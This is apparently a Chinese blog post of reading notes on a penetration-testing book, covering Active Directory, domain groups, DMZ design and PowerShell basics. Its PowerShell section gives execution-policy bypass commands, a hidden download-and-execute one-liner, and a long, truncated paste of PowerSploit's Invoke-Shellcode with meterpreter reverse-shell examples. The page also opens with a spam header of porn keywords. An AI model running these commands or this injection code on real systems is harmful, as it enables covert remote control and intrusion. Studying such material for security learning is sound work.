日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

《内网安全攻防:渗透测试实战指南》读书笔记(一):内网渗透测试基础

發(fā)布時(shí)間:2024/1/1 编程问答 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 《内网安全攻防:渗透测试实战指南》读书笔记(一):内网渗透测试基础 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

目錄

  • 前言
  • 一、內(nèi)網(wǎng)基礎(chǔ)知識(shí)
    • 1、工作組
    • 2、域
    • 3、活動(dòng)目錄
      • (1)活動(dòng)目錄的功能
      • (2)DC和AD區(qū)別
    • 4、安全域的劃分
      • (1)DMZ
      • (2)內(nèi)網(wǎng)
    • 5、域中計(jì)算機(jī)的分類
    • 6、域內(nèi)權(quán)限
      • (1)組
      • (2)A-G-DL-P 策略
  • 二、主機(jī)平臺(tái)及常用工具
    • 1、Windows Powershell的概念
      • (1) .Ps1 文件
      • (2)執(zhí)行策略
      • (3)運(yùn)行腳本
      • (4)管道
    • 2、Windows Powershell的特點(diǎn)
    • 3、Windows Powershell的命令
      • (1)查看Powershell版本
      • (2)基本命令
      • (3)繞過本地權(quán)限并執(zhí)行
      • (4)從網(wǎng)站服務(wù)器中下載腳本,繞過本地權(quán)限并隱藏執(zhí)行
      • (5)使用Base64編碼對(duì)Powershell命令進(jìn)行編碼
  • 三、搭建內(nèi)網(wǎng)環(huán)境
  • 結(jié)語

前言

上來一看已經(jīng)5個(gè)月沒上了,在忙活畢業(yè)論文的事兒
現(xiàn)在搞定畢業(yè)了!是時(shí)候開始一波學(xué)習(xí)
本篇開始閱讀學(xué)習(xí)《內(nèi)網(wǎng)安全攻防:滲透測(cè)試實(shí)戰(zhàn)指南》,做個(gè)筆記

本篇是第一章內(nèi)網(wǎng)滲透測(cè)試基礎(chǔ),基本都是些基礎(chǔ)概念和環(huán)境搭建

一、內(nèi)網(wǎng)基礎(chǔ)知識(shí)

內(nèi)網(wǎng),也指局域網(wǎng)(Local Area Network,LAN),是指在某一區(qū)域內(nèi)由多臺(tái)計(jì)算機(jī)互聯(lián)成的計(jì)算機(jī)組,內(nèi)網(wǎng)是封閉的

本節(jié)是些基礎(chǔ)定義和概念

1、工作組

工作組(Work Group)就像一個(gè)可以自由進(jìn)入和退出的社團(tuán)

  • 可以自由進(jìn)入和退出,方便同組的計(jì)算機(jī)互相訪問
  • 沒有集中管理作用,所有計(jì)算機(jī)都是對(duì)等的

2、域

(Domain)是一個(gè)有安全邊界的計(jì)算機(jī)集合

  • 安全邊界:一個(gè)域的用戶無法訪問另一個(gè)域
  • 可以簡(jiǎn)單的把域理解成升級(jí)版的工作組,但有一個(gè)嚴(yán)格的集中管理控制機(jī)制
  • 用戶訪問域內(nèi)的資源,需要合法身份,且身份決定權(quán)限

域控制器(Domain Controller,DC)是域中的管理服務(wù)器,相當(dāng)于一個(gè)單位的門禁系統(tǒng)

  • DC中存在由這個(gè)域的賬戶、密碼、屬于這個(gè)域的計(jì)算機(jī)等信息構(gòu)成的數(shù)據(jù)庫
  • DC是整個(gè)域的通信樞紐

域環(huán)境

  • 單域:地理位置固定,一個(gè)域滿足需求,一般至少有兩臺(tái)域服務(wù)器

  • 父域和子域:管理需求(如不同地理位置)和安全策略的考慮

  • 域樹(tree):多個(gè)域通過建立信任關(guān)系(Trust Relation)組成的集合

  • 域森林(forest):多個(gè)域樹通過建立信任關(guān)系組成的集合

  • 域名服務(wù)器(Domain Name Server, DNS):用于實(shí)現(xiàn)域名(Domam Name)和與之相對(duì)應(yīng)的IP地址(IP Address)轉(zhuǎn)換的服務(wù)器,具體可見一文搞明白DNS與域名解析

3、活動(dòng)目錄

活動(dòng)目錄(Active Directory,AD)是域環(huán)境中提供目錄服務(wù)的組件

  • 存儲(chǔ)有關(guān)網(wǎng)絡(luò)對(duì)象(如用戶、組、計(jì)算機(jī)、共享資源、打印機(jī)和聯(lián)系人等)的信息
  • 幫助用戶快速準(zhǔn)確的從目錄中查找到他所需要的信息的服務(wù)
  • 邏輯結(jié)構(gòu):不需要考慮被管理對(duì)象的地理位置,只需要按照一定方式將這些對(duì)象放置在不同的容器中
  • 活動(dòng)目錄數(shù)據(jù)庫(AD庫:將層次結(jié)構(gòu)的目錄及索引信息存儲(chǔ)在數(shù)據(jù)庫中
  • 管理層次分明:A集團(tuán)(域森林) -> 子公司(域樹) -> 部門(域) -> 員工

(1)活動(dòng)目錄的功能

AD相當(dāng)于樹干

  • 帳號(hào)集中管理:所有帳號(hào)均存儲(chǔ)在服務(wù)器中,以便執(zhí)行命令和重置密碼等
  • 軟件集中管理:統(tǒng)一推送軟件,統(tǒng)一安裝網(wǎng)絡(luò)打印機(jī)等。利用軟件發(fā)布策略分發(fā)軟件,可以讓用戶自由選擇安裝軟件
  • 環(huán)境集中管理:利用AD可以統(tǒng)一客戶端桌面,IE,TCP/IP等設(shè)置。
  • 增強(qiáng)安全性:統(tǒng)一部署殺毒軟件和病毒掃描任務(wù)、集中化管理用戶的計(jì)算機(jī)權(quán)限、統(tǒng)一制訂用戶密碼策略等。可以監(jiān)控網(wǎng)絡(luò),對(duì)資料進(jìn)行統(tǒng)一管理
  • 更可靠,更少的宕機(jī)時(shí)間:例如:利用AD控制用戶訪問權(quán)限,利用群集、負(fù)載均衡等技術(shù)對(duì)文件服務(wù)器進(jìn)行容災(zāi)設(shè)定。網(wǎng)絡(luò)更可靠,巖機(jī)時(shí)間更少

(2)DC和AD區(qū)別

如果內(nèi)網(wǎng)中的一臺(tái)計(jì)算機(jī)上安裝了AD,它就變成了DC(用于存儲(chǔ)AD庫的計(jì)算機(jī))

  • DC的本質(zhì)是一臺(tái)計(jì)算機(jī)
  • AD的本質(zhì)是提供目錄服務(wù)的組件

4、安全域的劃分

安全域劃分的目的是將一組安全等級(jí)相同的計(jì)算機(jī)劃入同一個(gè)網(wǎng)段內(nèi), 在網(wǎng)絡(luò)邊界上通過防火墻來實(shí)現(xiàn)對(duì)其他安全域的網(wǎng)絡(luò)訪問控制策略, 使得其風(fēng)險(xiǎn)最小化


一般安全域劃分為:DMZ和內(nèi)網(wǎng),通過硬件防火墻的不同端口實(shí)現(xiàn)隔離,如上圖所示

  • 內(nèi)網(wǎng):安全級(jí)別最高
  • DMZ(Demilitarized Zone 非軍事化區(qū)):稱為隔離區(qū),為了解決安裝防火墻后外部網(wǎng)絡(luò)不能訪問內(nèi)部網(wǎng)絡(luò)服務(wù)器的問題,而設(shè)立的一個(gè)非安全系統(tǒng)與安全系統(tǒng)之間的緩沖區(qū)
  • 外網(wǎng):安全級(jí)別最低

(1)DMZ

DMZ通常需要定義如下訪問控制策略,以實(shí)現(xiàn)其屏障功能:

  • 內(nèi)網(wǎng)可以訪問外網(wǎng):防火墻需要執(zhí)行NAT
  • 內(nèi)網(wǎng)可以訪問DMZ:內(nèi)網(wǎng)用戶可以使用或者管理DMZ中的服務(wù)器
  • 外網(wǎng)不能訪問內(nèi)網(wǎng):如果要訪問,得通過VPN的方式來進(jìn)行
  • 外網(wǎng)可以訪問DMZ:由防火墻來完成從對(duì)外地址到服務(wù)器實(shí)際地址的轉(zhuǎn)換
  • DMZ不能訪問內(nèi)網(wǎng)
  • DMZ不能訪問外網(wǎng):例外情況如在DMZ中放置了郵件服務(wù)器

(2)內(nèi)網(wǎng)

內(nèi)網(wǎng)又可以劃分為辦公區(qū)和核心區(qū)

  • 辦公區(qū)會(huì)安裝防病毒軟件、主機(jī)入侵檢測(cè)產(chǎn)品(HIDS)等,運(yùn)維使用堡壘機(jī)(跳板機(jī))來統(tǒng)一管理用戶的登陸行為
  • 核心區(qū):存儲(chǔ)企業(yè)最重要的數(shù)據(jù)、文檔等信息資產(chǎn),通過日志記錄、安全審計(jì)等安全措施進(jìn)行嚴(yán)密的保護(hù),往往只有很少的主機(jī)能夠訪問

5、域中計(jì)算機(jī)的分類

域控制器

  • 存放活動(dòng)目錄數(shù)據(jù)庫,是域中必須要有的
  • 管理所有的網(wǎng)絡(luò)訪問,包括登錄服務(wù)器、訪問共享目錄和資源
  • 存儲(chǔ)了域內(nèi)所有的賬戶和策略信息,包括安全策略、用戶身份驗(yàn)證信息和賬戶信息

成員服務(wù)器

  • 指安裝了服務(wù)器操作系統(tǒng)并加人了域、但沒有安裝活動(dòng)目錄的計(jì)算機(jī)
  • 提供網(wǎng)絡(luò)資源

客戶機(jī)

  • 安裝了其他操作系統(tǒng)的計(jì)算機(jī)
  • 用戶利用這些計(jì)算機(jī)和域中的賬戶就可以登錄域

獨(dú)立服務(wù)器

  • 既不加入域,也不安裝活動(dòng)目錄

6、域內(nèi)權(quán)限

(1)組

(Group)是用戶賬號(hào)的集合,通過向一組用戶分配權(quán)限,就可以不必向每個(gè)用戶分別分配權(quán)限,分域本地組、全局組和通用組。域本地組來自全林,作用于本域;全局組來自本域,作用于全林;通用組來自全林,作用于全林

域本地組(Domain Local Group)

  • 多域用戶訪問單域資源,可以從任何域添加用戶賬號(hào)、通用組和全局組,但只能在其所在域內(nèi)指派權(quán)限
  • 用于授予本域內(nèi)資源的訪問權(quán)限

全局組(Global Group)

  • 單域用戶訪問多域資源(必須是同一個(gè)域中的用戶),只能在創(chuàng)建該全局組的域中添加用戶和全局組
  • 全局組可以嵌套在其他組中
  • 舉個(gè)例子:將用戶張三(域帳號(hào)Z3)加入到域本地組administrators中,并不能使Z3對(duì)非DC的域成員計(jì)算機(jī)有任何特權(quán);但若加入到全局組Domain Admins中,張三就是域管理員了,可以在全局使用,對(duì)域成員計(jì)算機(jī)是有特權(quán)的

通用組(Universal Group)

  • 成員來自域森林中任何域的用戶賬號(hào)、全局組和其他通用組,可以在該域森林的任何或中指派權(quán)限
  • 可以嵌套在其他組中,非常適合在域森林內(nèi)的跨域訪問中使用

(2)A-G-DL-P 策略

A-G-DL-P 策略:將用戶賬號(hào)添加到全局組中,將全局組添加到域本地組中,然后為域本地組分配資源權(quán)限

  • A表示用戶賬號(hào)(Account)
  • G表示全局組(Global Group)
  • U表示通用組(Universal Group)
  • DL表示域本地組(Domain Local Group)
  • P表示資源權(quán)限(Permssion)

在A-G-DL-P策略形成以后,當(dāng)給一個(gè)用戶某一個(gè)權(quán)限的時(shí)候,只要把這個(gè)用戶加入到某一個(gè)域本地組就可以了。

舉個(gè)例子

有兩個(gè)域,A和B,A中的5個(gè)財(cái)務(wù)人員和B中的3個(gè)財(cái)務(wù)人員都需要訪問B中的“FINA”文件夾。這時(shí),可以在B中建一個(gè)DL(域本地組),因?yàn)镈L的成員可以來自所有的域,然后把這8個(gè)人都加入這個(gè)DL,并把FINA的訪問權(quán)賦給DL。
這樣做的壞處是什么呢?因?yàn)镈L是在B域中,所以管理權(quán)也在B域,如果A域中的5個(gè)人變成6個(gè)人,那只能A域管理員通知B域管理員,將DL的成員做一下修改,B域的管理員太累了。
這時(shí)候,我們改變一下,在A和B域中都各建立一個(gè)全局組(G),然后在B域中建立一個(gè)DL,把這兩個(gè)G都加入B域中的DL中,然后把FINA的訪問權(quán)賦給DL。哈哈,這下兩個(gè)G組都有權(quán)訪問FINA文件夾了。是嗎?組嵌套造成權(quán)限繼承嘛!這時(shí)候,兩個(gè)G分布在A和B域中,也就是A和B的管理員都可以自己管理自己的G啦,只要把那5個(gè)人和3個(gè)人加入G中,就可以了!以后有任何修改,都可以自己做了,不用麻煩B域的管理員!這就是A-G-DL-P。

一些需要注意的組:

  • 常用DL: Administrators(管理員組),最重要的權(quán)限; Remote Desktop Users(遠(yuǎn)程登錄組)。

  • 常用G: Domain Admins(域管理員組),最最重要的權(quán)限,一般來說域滲透是看重這個(gè); Domain Users(域用戶組)。

  • 常見U: Enterprise Admins(企業(yè)系統(tǒng)管理員組)、 Schema Admins(架構(gòu)管理員組),也是最最重要的權(quán)限。

二、主機(jī)平臺(tái)及常用工具

這節(jié)主要是介紹了些Kali和Win下的常用工具

在這里就記錄下Windows Powershell的一些基礎(chǔ)知識(shí)

1、Windows Powershell的概念

(1) .Ps1 文件

一個(gè)PowerShell腳本其實(shí)就是—個(gè)簡(jiǎn)單的文本文件,其擴(kuò)展名為“ps1”

(2)執(zhí)行策略

為了防止使用者運(yùn)行惡意腳本,PowerShell提供了一個(gè)執(zhí)行策略,默認(rèn)“不能運(yùn)行”
可以使用下面的cmdlet命令查詢當(dāng)前的執(zhí)行策略:

  • Get-ExecutionPolicy
  • Restricted:腳本不能運(yùn)行(默認(rèn)設(shè)置)
  • RemoteSigned:在本地創(chuàng)建的腳本可以運(yùn)行,但從網(wǎng)上下載的腳本不能運(yùn)行(擁有數(shù)字證書簽名的除外)
  • A1lSigned:僅當(dāng)腳本由受信任的發(fā)布者簽名時(shí)才能運(yùn)行
  • Unrestricted:允許所有腳本運(yùn)行

命令如下:

Set-ExecutionPolicy <policy name>

(3)運(yùn)行腳本

在當(dāng)前目錄時(shí),可以使用.\a.ps1,不然就要完整路徑

如果是使用Import-Module加載腳本可以使用:

. .\a.ps1

(4)管道

將一個(gè)命令的輸出作為另—個(gè)命令的輸人,兩個(gè)命令之間用|連接

例子:執(zhí)行如下命令,讓所有正在運(yùn)行的名字以字符“p”開頭的程序停止運(yùn)行

get-process p* | stop-process

2、Windows Powershell的特點(diǎn)

有以下這些特點(diǎn):

  • 在Wmdow 7以上版本的操作系統(tǒng)中是默認(rèn)安裝的
  • 腳本可以在內(nèi)存中運(yùn)行,不需要寫人磁盤
  • 幾乎不會(huì)觸發(fā)殺毒軟件
  • 可以遠(yuǎn)程執(zhí)行
  • 目前很多工具都是基于PowerShell開發(fā)的
  • 使Windows腳本的執(zhí)行變得更容易
  • cmd的運(yùn)行通常會(huì)被阻止,但是PowerShell的運(yùn)行通常不會(huì)被阻止
  • 可用于管理活動(dòng)目錄

3、Windows Powershell的命令

(1)查看Powershell版本

Get-Host $PSVersionTable.PSVERSION

(2)基本命令

新建目錄:New-Item aaa -ItemType Directory(實(shí)際上在5.0版本可以直接通過md) 新建文件:New-Item aaa.txt 刪除目錄:Remove-Item aaa.txt 可以直接使用rm 顯示文件內(nèi)容:Get-Content 可以直接使用cat 設(shè)置文本內(nèi)容:Set-Content aaa.txt -Value "aaa" 追加內(nèi)容:Add-Content aaa.txt -Value "aaa" 清除內(nèi)容:Clear-Content aaa.txt

(3)繞過本地權(quán)限并執(zhí)行

繞過安全策略,在目標(biāo)服務(wù)器本地執(zhí)行腳本PowerUp.ps1

Powershell.exe -ExecutionPolicy Bypass -File PowerUp.ps1

上傳之后執(zhí)行

powershell.exe -exec bypass -Command "& {Import-module C:\PowerUp.ps1;Invoke-AllChecks}"

(4)從網(wǎng)站服務(wù)器中下載腳本,繞過本地權(quán)限并隱藏執(zhí)行

命令如下(此處書中存在空格被吞的情況):

powershell.exe -ExecutionPolicy Bypass -WindowsStyle Hidden -NoProfile -NonI IEX(New-Object Net.WebClient).DownloadString("http://www.baidu.com/xxx.ps1");

書中的PowerUp.ps1腳本如下:

function Invoke-Shellcode { <# .SYNOPSISInject shellcode into the process ID of your choosing or within the context of the running PowerShell process.PowerSploit Function: Invoke-Shellcode Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None.DESCRIPTIONPortions of this project was based upon syringe.c v1.2 written by Spencer McIntyrePowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary..PARAMETER ProcessIDProcess ID of the process you want to inject shellcode into..PARAMETER ShellcodeSpecifies an optional shellcode passed in as a byte array.PARAMETER ListMetasploitPayloadsLists all of the available Metasploit payloads that Invoke-Shellcode supports.PARAMETER LhostSpecifies the IP address of the attack machine waiting to receive the reverse shell.PARAMETER LportSpecifies the port of the attack machine waiting to receive the reverse shell.PARAMETER PayloadSpecifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported..PARAMETER UserAgentOptionally specifies the user agent to use when using meterpreter http or https payloads.PARAMETER ProxyOptionally specifies whether to utilize the proxy settings on the machine..PARAMETER LegacyOptionally specifies whether to utilize the older meterpreter handler "INITM". This will likely be removed in the future. .PARAMETER ForceInjects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act..EXAMPLEC:\PS> Invoke-Shellcode -ProcessId 4274Description ----------- Inject shellcode into process ID 4274..EXAMPLEC:\PS> Invoke-ShellcodeDescription ----------- Inject shellcode into the running instance of PowerShell..EXAMPLEC:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden C:\PS> $Proc = Get-Process notepad C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -VerboseVERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM VERBOSE: Injecting shellcode into PID: 4004 VERBOSE: Injecting into a Wow64 process. VERBOSE: Using 32-bit shellcode. VERBOSE: Shellcode memory reserved at 0x03BE0000 VERBOSE: Emitting 32-bit assembly call stub. VERBOSE: Thread call stub memory reserved at 0x001B0000 VERBOSE: Shellcode injection complete!Description ----------- Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options:Payload options (windows/meterpreter/reverse_https):Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process, none LHOST 192.168.30.129 yes The local listener hostname LPORT 443 yes The local listener port.EXAMPLEC:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80Description ----------- Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options:Payload options (windows/meterpreter/reverse_http):Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process, none LHOST 192.168.30.129 yes The local listener hostname LPORT 80 yes The local listener port.EXAMPLEC:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)Description ----------- Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET) Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!.EXAMPLEC:\PS> Invoke-Shellcode -ListMetasploitPayloadsPayloads -------- windows/meterpreter/reverse_http windows/meterpreter/reverse_https.NOTESUse the '-Verbose' option to print detailed information.Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameterBig thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/.LINKhttp://www.exploit-monday.com #>[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param ([ValidateNotNullOrEmpty()][UInt16]$ProcessID,[Parameter( ParameterSetName = 'RunLocal' )][ValidateNotNullOrEmpty()][Byte[]]$Shellcode,[Parameter( ParameterSetName = 'Metasploit' )][ValidateSet( 'windows/meterpreter/reverse_http','windows/meterpreter/reverse_https',IgnoreCase = $True )][String]$Payload = 'windows/meterpreter/reverse_http',[Parameter( ParameterSetName = 'ListPayloads' )][Switch]$ListMetasploitPayloads,[Parameter( Mandatory = $True,ParameterSetName = 'Metasploit' )][ValidateNotNullOrEmpty()][String]$Lhost = '127.0.0.1',[Parameter( Mandatory = $True,ParameterSetName = 'Metasploit' )][ValidateRange( 1,65535 )][Int]$Lport = 8443,[Parameter( ParameterSetName = 'Metasploit' )][ValidateNotNull()][String]$UserAgent = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').'User Agent',[Parameter( ParameterSetName = 'Metasploit' )][ValidateNotNull()][Switch]$Legacy = $False,[Parameter( ParameterSetName = 'Metasploit' )][ValidateNotNull()][Switch]$Proxy = $False,[Switch]$Force = $False )Set-StrictMode -Version 2.0# List all available Metasploit payloads and exit the functionif ($PsCmdlet.ParameterSetName -eq 'ListPayloads'){$AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes |Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}foreach ($Payload in $AvailablePayloads.ValidValues){New-Object PSObject -Property @{ Payloads = $Payload }}Return}if ( $PSBoundParameters['ProcessID'] ){# Ensure a valid process ID was provided# This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptiveGet-Process -Id $ProcessID -ErrorAction Stop | Out-Null}function Local:Get-DelegateType{Param([OutputType([Type])][Parameter( Position = 0)][Type[]]$Parameters = (New-Object Type[](0)),[Parameter( Position = 1 )][Type]$ReturnType = [Void])$Domain = [AppDomain]::CurrentDomain$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)$MethodBuilder.SetImplementationFlags('Runtime, Managed')Write-Output $TypeBuilder.CreateType()}function Local:Get-ProcAddress{Param([OutputType([IntPtr])][Parameter( Position = 0, Mandatory = $True )][String]$Module,[Parameter( Position = 1, Mandatory = $True )][String]$Procedure)# Get a reference to System.dll in the GAC$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')# Get a reference to the GetModuleHandle and GetProcAddress methods$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')# Get a handle to the module specified$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))$tmpPtr = New-Object IntPtr$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)# Return the address of the functionWrite-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))}# Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payloadfunction Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture){$IntSizePtr = $Architecture / 8function Local:ConvertTo-LittleEndian ([IntPtr] $Address){$LittleEndianByteArray = New-Object Byte[](0)$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }[System.Array]::Reverse($LittleEndianByteArray)Write-Output $LittleEndianByteArray}$CallStub = New-Object Byte[](0)if ($IntSizePtr -eq 8){[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode$CallStub += 0xFF,0xD0 # CALL RAX$CallStub += 0x6A,0x00 # PUSH BYTE 0$CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread$CallStub += 0xFF,0xD0 # CALL RAX}else{[Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode$CallStub += 0xFF,0xD0 # CALL EAX$CallStub += 0x6A,0x00 # PUSH BYTE 0$CallStub += 0xB8 # MOV DWORD EAX, &ExitThread$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread$CallStub += 0xFF,0xD0 # CALL EAX}Write-Output $CallStub}function Local:Inject-RemoteShellcode ([Int] $ProcessID){# Open a handle to the process you want to inject into$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)if (!$hProcess){Throw "Unable to open a process handle for PID: $ProcessID"}$IsWow64 = $falseif ($64bitCPU) # Only perform theses checks if CPU is 64-bit{# Determine is the process specified is 32 or 64 bit$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Nullif ((!$IsWow64) -and $PowerShell32bit){Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'}elseif ($IsWow64) # 32-bit Wow64 process{if ($Shellcode32.Length -eq 0){Throw 'No shellcode was placed in the $Shellcode32 variable!'}$Shellcode = $Shellcode32Write-Verbose 'Injecting into a Wow64 process.'Write-Verbose 'Using 32-bit shellcode.'}else # 64-bit process{if ($Shellcode64.Length -eq 0){Throw 'No shellcode was placed in the $Shellcode64 variable!'}$Shellcode = $Shellcode64Write-Verbose 'Using 64-bit shellcode.'}}else # 32-bit CPU{if ($Shellcode32.Length -eq 0){Throw 'No shellcode was placed in the $Shellcode32 variable!'}$Shellcode = $Shellcode32Write-Verbose 'Using 32-bit shellcode.'}# Reserve and commit enough memory in remote process to hold the shellcode$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)if (!$RemoteMemAddr){Throw "Unable to allocate shellcode memory in PID: $ProcessID"}Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"# Copy shellcode into the previously allocated memory$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null# Get address of ExitThread function$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThreadif ($IsWow64){# Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32Write-Verbose 'Emitting 32-bit assembly call stub.'}else{# Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64Write-Verbose 'Emitting 64-bit assembly call stub.'}# Allocate inline assembly stub$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)if (!$RemoteStubAddr){Throw "Unable to allocate thread call stub memory in PID: $ProcessID"}Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"# Write 32-bit assembly stub to remote process memory space$WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null# Execute shellcode as a remote thread$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)if (!$ThreadHandle){Throw "Unable to launch remote thread in PID: $ProcessID"}# Close process handle$CloseHandle.Invoke($hProcess) | Out-NullWrite-Verbose 'Shellcode injection complete!'}function Local:Inject-LocalShellcode{if ($PowerShell32bit) {if ($Shellcode32.Length -eq 0){Throw 'No shellcode was placed in the $Shellcode32 variable!'return}$Shellcode = $Shellcode32Write-Verbose 'Using 32-bit shellcode.'}else{if ($Shellcode64.Length -eq 0){Throw 'No shellcode was placed in the $Shellcode64 variable!'return}$Shellcode = $Shellcode64Write-Verbose 'Using 64-bit shellcode.'}# Allocate RWX memory for the shellcode$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)if (!$BaseAddress){Throw "Unable to allocate shellcode memory in PID: $ProcessID"}Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"# Copy shellcode to RWX buffer[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)# Get address of ExitThread function$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThreadif ($PowerShell32bit){$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32Write-Verbose 'Emitting 32-bit assembly call stub.'}else{$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64Write-Verbose 'Emitting 64-bit assembly call stub.'}# Allocate RWX memory for the thread call stub$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)if (!$CallStubAddress){Throw "Unable to allocate thread call stub."}Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"# Copy call stub to RWX buffer[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)# Launch shellcode in it's own thread$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)if (!$ThreadHandle){Throw "Unable to launch thread."}# Wait for shellcode thread to terminate$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE 